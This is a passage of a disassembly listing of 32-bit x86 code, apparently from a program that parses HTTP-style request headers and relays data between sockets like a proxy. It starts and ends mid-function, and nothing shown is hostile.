var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B95Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	dword_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_13AB626
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB626
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB626
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AC431
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D2310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D23E0	proc near		; CODE XREF: sub_13ABE14j sub_13AC468j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABB9E
		test	[esp+4+arg_0], 1
		jz	short loc_13D23F8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D23F8:				; CODE XREF: sub_13D23E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D23E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2410	proc near		; CODE XREF: sub_13AB496j sub_13AC02Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB9F5
		test	[esp+4+arg_0], 1
		jz	short loc_13D2428
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D2428:				; CODE XREF: sub_13D2410+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D2410	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D2440	proc near		; CODE XREF: sub_13AB9F5j
		jmp	sub_13ABB9E
sub_13D2440	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2460	proc near		; CODE XREF: sub_13AB9AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_13ABBE4
		push	eax
		push	offset dword_444F94
		lea	ecx, [esi+26h]
		call	sub_13AB8D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		call	sub_13AC19D
		add	esp, 10h
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_13ABBE4
		push	eax
		push	offset dword_444F54
		lea	ecx, [esi+26h]
		call	sub_13AB8D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_13D2460	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2580	proc near		; CODE XREF: sub_13ABC84j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B99Eh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_13AC382
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_13AB824
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	dword_43E14C
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_13AB9D7
		lea	ecx, [esp+30h+var_28]
		mov	[esp+30h+var_8], 1
		call	sub_13AB626
		mov	ecx, [esp+30h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_13D2580	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2640	proc near		; CODE XREF: sub_13AC215j sub_13AC5B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABFD1
		test	[esp+4+arg_0], 1
		jz	short loc_13D2658
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D2658:				; CODE XREF: sub_13D2640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D2640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2670	proc near		; CODE XREF: sub_13ABFD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, closesocket
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	dword_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D268E
		push	eax
		call	edi ; closesocket


loc_13D268E:				; CODE XREF: sub_13D2670+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D269C
		push	eax
		call	edi ; closesocket


loc_13D269C:				; CODE XREF: sub_13D2670+27j
		lea	ecx, [esi+0A1h]
		call	sub_13AB626
		mov	ecx, esi
		call	sub_13ABB9E
		pop	edi
		pop	esi
		retn
sub_13D2670	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D26E0	proc near		; CODE XREF: sub_13AC12Aj

var_14F		= byte ptr -14Fh
var_14A		= byte ptr -14Ah
var_148		= byte ptr -148h
var_147		= byte ptr -147h
var_12C		= byte ptr -12Ch
var_114		= byte ptr -114h
var_FC		= byte ptr -0FCh
var_EC		= dword	ptr -0ECh
var_E7		= byte ptr -0E7h
var_E6		= byte ptr -0E6h
var_DC		= byte ptr -0DCh
var_D4		= byte ptr -0D4h
var_CC		= dword	ptr -0CCh
var_C8		= byte ptr -0C8h
var_C5		= byte ptr -0C5h
var_C4		= byte ptr -0C4h
var_C0		= byte ptr -0C0h
var_B8		= byte ptr -0B8h
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= byte ptr -0A0h
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_88		= byte ptr -88h
var_78		= byte ptr -78h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_38		= byte ptr -38h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_21		= byte ptr -21h
var_1C		= byte ptr -1Ch
var_10		= byte ptr -10h
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_8		= byte ptr  0Ch
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_11		= byte ptr  15h
arg_24		= byte ptr  28h
arg_2C		= byte ptr  30h
arg_30		= dword	ptr  34h
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= dword	ptr  44h
arg_4C		= byte ptr  50h
arg_5C		= byte ptr  60h
arg_65		= byte ptr  69h
arg_6C		= byte ptr  70h
arg_70		= dword	ptr  74h
arg_74		= byte ptr  78h
arg_7C		= byte ptr  80h
arg_8C		= byte ptr  90h
arg_90		= byte ptr  94h
arg_98		= byte ptr  9Ch
arg_9C		= byte ptr  0A0h
arg_BC		= byte ptr  0C0h
arg_C4		= byte ptr  0C8h
arg_D8		= byte ptr  0DCh
arg_F0		= byte ptr  0F4h
arg_100		= byte ptr  104h
arg_104		= byte ptr  108h
arg_114		= byte ptr  118h
arg_11C		= byte ptr  120h
arg_128		= byte ptr  12Ch
arg_134		= byte ptr  138h
arg_140		= byte ptr  144h
arg_168		= byte ptr  16Ch
arg_190		= byte ptr  194h
arg_1A4		= dword	ptr  1A8h
arg_1A8		= dword	ptr  1ACh
arg_1AC		= dword	ptr  1B0h
arg_1C4		= byte ptr  1C8h
arg_1D4		= byte ptr  1D8h
arg_1DC		= byte ptr  1E0h
arg_1E0		= byte ptr  1E4h
arg_1F4		= byte ptr  1F8h
arg_1F8		= byte ptr  1FCh
arg_200		= byte ptr  204h
arg_208		= byte ptr  20Ch
arg_20C		= byte ptr  210h
arg_210		= byte ptr  214h
arg_314		= byte ptr  318h
arg_324		= byte ptr  328h
arg_32C		= byte ptr  330h
arg_334		= byte ptr  338h
arg_33C		= byte ptr  340h
arg_344		= byte ptr  348h
arg_34C		= byte ptr  350h
arg_358		= byte ptr  35Ch
arg_35C		= byte ptr  360h
arg_368		= byte ptr  36Ch
arg_36C		= byte ptr  370h
arg_374		= byte ptr  378h
arg_37C		= byte ptr  380h
arg_380		= byte ptr  384h
arg_38C		= byte ptr  390h
arg_390		= byte ptr  394h
arg_39C		= byte ptr  3A0h
arg_3AC		= byte ptr  3B0h
arg_3BC		= byte ptr  3C0h
arg_3D8		= byte ptr  3DCh
arg_43D8	= byte ptr  43DCh
arg_5330	= dword	ptr  5334h
arg_5334	= byte ptr  5338h
arg_5340	= dword	ptr  5344h
arg_5344	= byte ptr  5348h
arg_5348	= byte ptr  534Ch
arg_5354	= byte ptr  5358h
arg_5358	= byte ptr  535Ch
arg_5364	= byte ptr  5368h
arg_5368	= byte ptr  536Ch
arg_5374	= byte ptr  5378h
arg_5378	= byte ptr  537Ch
arg_5384	= byte ptr  5388h
arg_5390	= byte ptr  5394h
arg_5394	= byte ptr  5398h
arg_53A0	= byte ptr  53A4h
arg_53AC	= dword	ptr  53B0h
arg_53B4	= dword	ptr  53B8h
arg_53E0	= byte ptr  53E4h
arg_53E4	= dword	ptr  53E8h
arg_53E8	= byte ptr  53ECh
arg_53F8	= byte ptr  53FCh
arg_5404	= byte ptr  5408h
arg_5410	= byte ptr  5414h
arg_541C	= byte ptr  5420h
arg_5428	= byte ptr  542Ch
arg_5434	= byte ptr  5438h
arg_5438	= byte ptr  543Ch
arg_5444	= byte ptr  5448h
arg_5458	= byte ptr  545Ch
arg_545C	= byte ptr  5460h
arg_5468	= byte ptr  546Ch
arg_546C	= byte ptr  5470h
arg_5478	= dword	ptr  547Ch
arg_547C	= byte ptr  5480h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	43BAB2h
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	[esp+1Ch+var_B], 0
		mov	[esp+1Ch+var_A], 0


loc_13D2718:				; CODE XREF: sub_13D26E0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_13ABF36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_13AB824
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_13AB680
		add	esp, 10h
		test	al, al
		jz	loc_13D3730
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_13ABC61
		push	offset byte_446F80
		lea	ecx, [esp+24h+arg_C]
		mov	[esp+24h+arg_547C], 2
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13D27D0
		lea	ecx, [esp+24h+arg_8]
		mov	byte ptr [esp+24h+arg_5478], 1
		call	sub_13AB626
		lea	ecx, [esp+24h+var_10]
		mov	byte ptr [esp+24h+arg_5478], 0
		call	sub_13AB626
		lea	ecx, [esp+24h+arg_90]
		mov	[esp+24h+arg_5478], esi
		call	sub_13AB8B0
		jmp	loc_13D36A0
; ---------------------------------------------------------------------------


loc_13D27D0:				; CODE XREF: sub_13D26E0+B4j
		push	offset dword_443600
		lea	eax, [esp+28h+arg_208]
		push	0
		push	eax
		lea	ecx, [esp+30h+arg_8]
		call	sub_13ABAAE
		push	offset dword_445268
		mov	ecx, eax
		mov	[esp+34h+arg_546C], 3
		call	sub_13AB900
		test	eax, eax
		lea	ecx, [esp+34h+arg_1F8]
		mov	[esp+34h+arg_5468], 2
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jz	short loc_13D2895
		push	offset dword_443600
		lea	ecx, [esp+38h+arg_1E0]
		push	1
		push	ecx
		lea	ecx, [esp+40h+var_4]
		mov	[esp+40h+var_21], 1
		call	sub_13ABAAE
		lea	edx, [esp+40h+arg_74]
		mov	ecx, eax
		push	edx
		mov	[esp+44h+arg_545C], 4
		call	sub_13ABBE4
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+40h+arg_1D4]
		test	al, al
		setz	bl
		mov	[esp+40h+arg_545C], 2
		call	sub_13AB626
		test	bl, bl
		jnz	loc_13D371F
		push	offset dword_444428
		lea	ecx, [esp+44h+arg_74]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D371F
		jmp	loc_13D2A8A
; ---------------------------------------------------------------------------


loc_13D2895:				; CODE XREF: sub_13D26E0+137j
		push	offset dword_443600
		lea	eax, [esp+38h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+40h+var_4]
		call	sub_13ABAAE
		push	offset dword_44525C
		mov	ecx, eax
		mov	[esp+44h+arg_545C], 5
		call	sub_13AB900
		test	eax, eax
		lea	ecx, [esp+44h+arg_200]
		mov	[esp+44h+arg_5458], 2
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jz	loc_13D2A8A
		push	offset dword_445250
		lea	ecx, [esp+48h+arg_70]
		mov	[esp+48h+var_31], 0
		call	sub_13AB9D7
		push	offset byte_446F80
		lea	ecx, [esp+4Ch+arg_C4]
		call	sub_13AB9D7
		push	offset dword_443600
		lea	ecx, [esp+50h+arg_D8]
		push	1
		push	ecx
		lea	ecx, [esp+58h+var_1C]
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	edx, [esp+5Ch+arg_114]
		push	0
		push	edx
		mov	ecx, eax
		mov	[esp+64h+arg_5444], 6
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esp+68h+arg_65]
		mov	[esp+68h+arg_5438], 7
		call	sub_13AC3BE
		lea	ecx, [esp+68h+arg_104]
		mov	[esp+68h+arg_5434], 6
		call	sub_13AB626
		lea	ecx, [esp+68h+arg_BC]
		mov	[esp+68h+arg_5434], 2
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+6Ch+arg_20C]
		push	1
		push	eax
		lea	ecx, [esp+74h+var_38]
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	ecx, [esp+78h+arg_128]
		push	1
		push	ecx
		mov	ecx, eax
		mov	[esp+80h+arg_5428], 8
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+80h+arg_541C], 9
		call	sub_13ABBE4
		test	eax, eax
		lea	ecx, [esp+80h+arg_11C]
		mov	[esp+80h+arg_541C], 8
		setz	bl
		call	sub_13AB626
		lea	ecx, [esp+80h+arg_1F4]
		mov	[esp+80h+arg_541C], 2
		call	sub_13AB626
		test	bl, bl
		jnz	loc_13D371F
		push	offset dword_443600
		lea	edx, [esp+84h+arg_1DC]
		push	1
		push	edx
		lea	ecx, [esp+8Ch+var_50]
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	ecx, [esp+90h+arg_140]
		push	1
		push	ecx
		mov	ecx, eax
		mov	[esp+98h+arg_5410], 0Ah
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+98h+arg_5404], 0Bh
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_134]
		mov	[esp+98h+arg_70], eax
		mov	[esp+98h+arg_5404], 0Ah
		call	sub_13AB626
		lea	ecx, [esp+98h+arg_1C4]
		mov	[esp+98h+arg_5404], 2
		call	sub_13AB626
		mov	eax, [esp+98h+arg_70]
		test	eax, eax
		jnz	short loc_13D2A8A
		mov	[esp+98h+arg_70], 50h


loc_13D2A8A:				; CODE XREF: sub_13D26E0+1B0j
					; sub_13D26E0+1FCj ...
		push	offset dword_443600
		lea	edx, [esp+9Ch+var_50]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_68]
		call	sub_13ABAAE
		push	offset byte_446F80
		lea	ecx, [esp+0A8h+var_5C]
		mov	[esp+0A8h+arg_53F8], 0Ch
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13D370E
		push	offset dword_443600
		lea	eax, [esp+0ACh+var_48]
		push	2
		push	eax
		lea	ecx, [esp+0B4h+var_78]
		call	sub_13ABAAE
		push	offset byte_446F80
		lea	ecx, [esp+0B8h+var_54]
		mov	[esp+0B8h+arg_53E8], 0Dh
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13D36FD
		lea	ecx, [esp+0B8h+arg_11]
		push	ecx
		lea	ecx, [esp+0BCh+var_30]
		call	sub_13AB8C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+0BCh+arg_3D8]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset dword_445244
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+0BCh+arg_43D8]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[esp+0BCh+arg_53E0], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+0BCh+arg_43D8]
		and	ecx, 3
		rep movsb
		mov	esi, offset dword_445240


loc_13D2B51:				; CODE XREF: sub_13D26E0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13D2B75
		test	cl, cl
		jz	short loc_13D2B71
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13D2B75
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D2B51


loc_13D2B71:				; CODE XREF: sub_13D26E0+47Bj
		xor	eax, eax
		jmp	short loc_13D2B79
; ---------------------------------------------------------------------------


loc_13D2B75:				; CODE XREF: sub_13D26E0+477j
					; sub_13D26E0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_13D2B79:				; CODE XREF: sub_13D26E0+493j
		test	eax, eax
		jz	loc_13D2C53
		mov	edi, strncat


loc_13D2B87:				; CODE XREF: sub_13D26E0+56Dj
		mov	esi, offset byte_446F80
		lea	eax, [esp+0BCh+arg_43D8]


loc_13D2B93:				; CODE XREF: sub_13D26E0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13D2BB7
		test	cl, cl
		jz	short loc_13D2BB3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13D2BB7
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D2B93


loc_13D2BB3:				; CODE XREF: sub_13D26E0+4BDj
		xor	eax, eax
		jmp	short loc_13D2BBB
; ---------------------------------------------------------------------------


loc_13D2BB7:				; CODE XREF: sub_13D26E0+4B9j
					; sub_13D26E0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_13D2BBB:				; CODE XREF: sub_13D26E0+4D5j
		test	eax, eax
		jz	loc_13D2C53
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+0C0h+arg_43D8]
		push	1000h
		push	eax
		push	ecx
		call	sub_13AB680
		add	esp, 10h
		test	al, al
		jz	loc_13D3759
		lea	edx, [esp+0BCh+arg_43D8]
		push	4000h
		lea	eax, [esp+0C0h+arg_3D8]
		push	edx
		push	eax
		call	edi ; strncat
		push	4000h
		lea	ecx, [esp+0CCh+arg_3D8]
		push	offset dword_445240
		push	ecx
		call	edi ; strncat
		add	esp, 18h
		mov	esi, offset dword_445240
		lea	eax, [esp+0BCh+arg_43D8]


loc_13D2C23:				; CODE XREF: sub_13D26E0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13D2C47
		test	cl, cl
		jz	short loc_13D2C43
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13D2C47
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D2C23


loc_13D2C43:				; CODE XREF: sub_13D26E0+54Dj
		xor	eax, eax
		jmp	short loc_13D2C4B
; ---------------------------------------------------------------------------


loc_13D2C47:				; CODE XREF: sub_13D26E0+549j
					; sub_13D26E0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_13D2C4B:				; CODE XREF: sub_13D26E0+565j
		test	eax, eax
		jnz	loc_13D2B87


loc_13D2C53:				; CODE XREF: sub_13D26E0+49Bj
					; sub_13D26E0+4DDj
		mov	esi, strstr
		lea	eax, [esp+0BCh+arg_3D8]
		push	offset dword_445228
		push	eax
		call	esi ; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_13D2CA7
		push	offset dword_443CA4
		push	eax
		call	esi ; strstr
		add	esp, 8
		inc	eax
		jz	short loc_13D2CA7
		cmp	byte ptr [eax],	20h
		jnz	short loc_13D2C8B


loc_13D2C82:				; CODE XREF: sub_13D26E0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_13D2C82


loc_13D2C8B:				; CODE XREF: sub_13D26E0+5A0j
		push	offset dword_445218
		push	eax
		call	_strcmpi	; _strcmpi
		add	esp, 8
		test	eax, eax
		jz	short loc_13D2CA7
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_13D2CAE
; ---------------------------------------------------------------------------


loc_13D2CA7:				; CODE XREF: sub_13D26E0+58Dj
					; sub_13D26E0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_13D2CAE:				; CODE XREF: sub_13D26E0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_13D2D46
		push	6
		push	1
		push	2
		call	socket	; socket
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_13D382D
		mov	edx, [esp+0C8h+arg_40]
		xor	ecx, ecx
		mov	[esp+0C8h+var_50], ecx
		push	edx
		mov	[esp+0CCh+var_4C], ecx
		mov	word ptr [esp+0CCh+var_50], 2
		mov	[esp+0CCh+var_48], ecx
		mov	[esp+0CCh+var_44], ecx
		call	htons	; htons
		lea	ecx, [esp+0CDh]
		mov	[esp+0CCh+var_52], ax
		call	sub_13ABBE4
		push	eax
		call	sub_13ABC7F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+0CCh+var_50], eax
		jz	loc_13D376B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+0CCh+var_54]
		push	10h
		push	eax
		push	ecx
		call	connect	; connect
		cmp	eax, ebx
		jz	loc_13D37C8


loc_13D2D46:				; CODE XREF: sub_13D26E0+5D4j
		mov	al, [esp+0D8h+var_C5]
		test	al, al
		jz	loc_13D33EE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_13D2D91
		lea	edx, [esp+0D8h+arg_3BC]
		lea	ecx, [esp+0D8h+var_78]
		push	edx
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0E0h+arg_34]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0E4h+var_90]
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+0E8h+var_C4]
		push	offset dword_4451EC
		push	eax
		jmp	short loc_13D2DC4
; ---------------------------------------------------------------------------


loc_13D2D91:				; CODE XREF: sub_13D26E0+67Aj
		lea	ecx, [esp+0D8h+arg_3BC]
		push	ecx
		lea	ecx, [esp+0DCh+var_78]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0E0h+arg_34]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0E4h+var_90]
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+0E8h+var_C4]
		push	offset dword_4451C4
		push	edx


loc_13D2DC4:				; CODE XREF: sub_13D26E0+6AFj
		call	sub_13AB42D
		add	esp, 18h
		lea	ecx, [esp+0D8h+var_C4]
		push	0
		call	sub_13AB7D9
		push	eax
		lea	ecx, [esp+0E0h+var_C4]
		call	sub_13ABBE4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	send	; send
		test	eax, eax
		jz	loc_13D3812
		cmp	eax, ebx
		jz	loc_13D3812
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+0ECh+arg_3AC]
		push	4000h
		push	ecx
		push	edx
		call	sub_13AB680
		add	esp, 10h
		test	al, al
		jz	loc_13D383F
		mov	edi, offset dword_445240
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0E8h+arg_3AC]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+0ECh+arg_3AC]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+0ECh+arg_3AC]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	send	; send
		xor	ebx, ebx
		mov	esi, offset dword_445240
		mov	[esp+0F8h+var_CC], ebx
		lea	eax, [esp+0F8h+arg_39C]


loc_13D2E8E:				; CODE XREF: sub_13D26E0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13D2EB2
		test	cl, cl
		jz	short loc_13D2EAE
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13D2EB2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D2E8E


loc_13D2EAE:				; CODE XREF: sub_13D26E0+7B8j
		xor	eax, eax
		jmp	short loc_13D2EB7
; ---------------------------------------------------------------------------


loc_13D2EB2:				; CODE XREF: sub_13D26E0+7B4j
					; sub_13D26E0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D2EB7:				; CODE XREF: sub_13D26E0+7D0j
		test	eax, eax
		jz	loc_13D3239


loc_13D2EBF:				; CODE XREF: sub_13D26E0+B48j
		mov	esi, offset byte_446F80
		lea	eax, [esp+0F8h+arg_39C]


loc_13D2ECB:				; CODE XREF: sub_13D26E0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D2EF3
		test	cl, cl
		jz	short loc_13D2EEF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D2EF3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D2ECB


loc_13D2EEF:				; CODE XREF: sub_13D26E0+7F7j
		xor	eax, eax
		jmp	short loc_13D2EF8
; ---------------------------------------------------------------------------


loc_13D2EF3:				; CODE XREF: sub_13D26E0+7F3j
					; sub_13D26E0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D2EF8:				; CODE XREF: sub_13D26E0+811j
		test	eax, eax
		jz	loc_13D3235
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+0FCh+arg_39C]
		push	4000h
		push	eax
		push	ecx
		call	sub_13AB680
		add	esp, 10h
		test	al, al
		jz	loc_13D3230
		lea	edx, [esp+0F8h+arg_39C]
		lea	ecx, [esp+0F8h+var_58]
		push	edx
		call	sub_13ABC61
		push	offset dword_443600
		lea	eax, [esp+100h+arg_100]
		push	0
		push	eax
		lea	ecx, [esp+108h+var_5C]
		mov	[esp+108h+arg_53A0], 0Fh
		call	sub_13ABAAE
		push	offset dword_4451B0
		mov	ecx, eax
		mov	[esp+10Ch+arg_5394], 10h
		call	sub_13AB900
		test	eax, eax
